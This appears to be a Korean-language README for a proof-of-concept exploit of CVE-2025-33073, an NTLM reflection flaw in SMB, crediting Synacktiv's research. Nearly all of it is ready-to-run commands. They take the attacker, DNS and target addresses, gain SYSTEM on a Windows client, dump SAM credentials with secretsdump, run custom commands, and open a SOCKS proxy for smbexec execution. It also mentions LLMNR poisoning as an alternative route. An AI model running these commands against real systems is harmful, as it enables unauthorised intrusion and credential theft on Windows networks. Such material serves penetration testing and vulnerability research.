
NTLM 리플렉션 SMB 취약점에 대한 PoC 익스플로잇.
NTLM 반사 SMB 결함에 대한 PoC 익스플로잇.
모든 크레딧은 공식 연구에 있습니다:
https://www.synacktiv.com/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025
OS: Kali Linux (대부분의 패키지가 사전 설치되어 있음).
GUI
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65

CLI
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --cli-only

사용자 지정 명령
secretsdump를 실행하는 대신 사용자 지정 명령을 실행할 수 있습니다.
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target CLIENT01.wintastic.local --target-ip 192.168.178.65 --cli-only --custom-command "whoami"

SOCKS
SYSTEM으로 유효한 연결이 수립된 후 명령을 더 은밀하게 실행하기 위한 방법입니다. 여기서 --target과 --target-ip는 동일해야 합니다.
python3 CVE-2025-33073.py -u 'wintastic.local\mathijs' -p 'password' --attacker-ip 192.168.178.49 --dns-ip 192.168.178.138 --dc-fqdn DC01.wintastic.local --target 192.168.178.65 --target-ip 192.168.178.65 --cli-only --socks
또한 SAM 덤프 대신 proxychains를 통해 사용자 지정 명령을 실행할 수도 있습니다.
proxychains nxc smb 192.168.178.65 -d '' -u '' -p '' -x 'whoami' --exec-method smbexec

장치와 동일한 브로드캐스트 도메인에 있고 LLMNR 포이즈닝에 취약한 경우, DNS 레코드를 등록하지 않고도 장치를 익스플로잇할 수 있습니다.

로컬 NTLM 인증이 수행됨

로컬 NTLM 인증이 수행되지 않아 FAILED 시도가 발생함
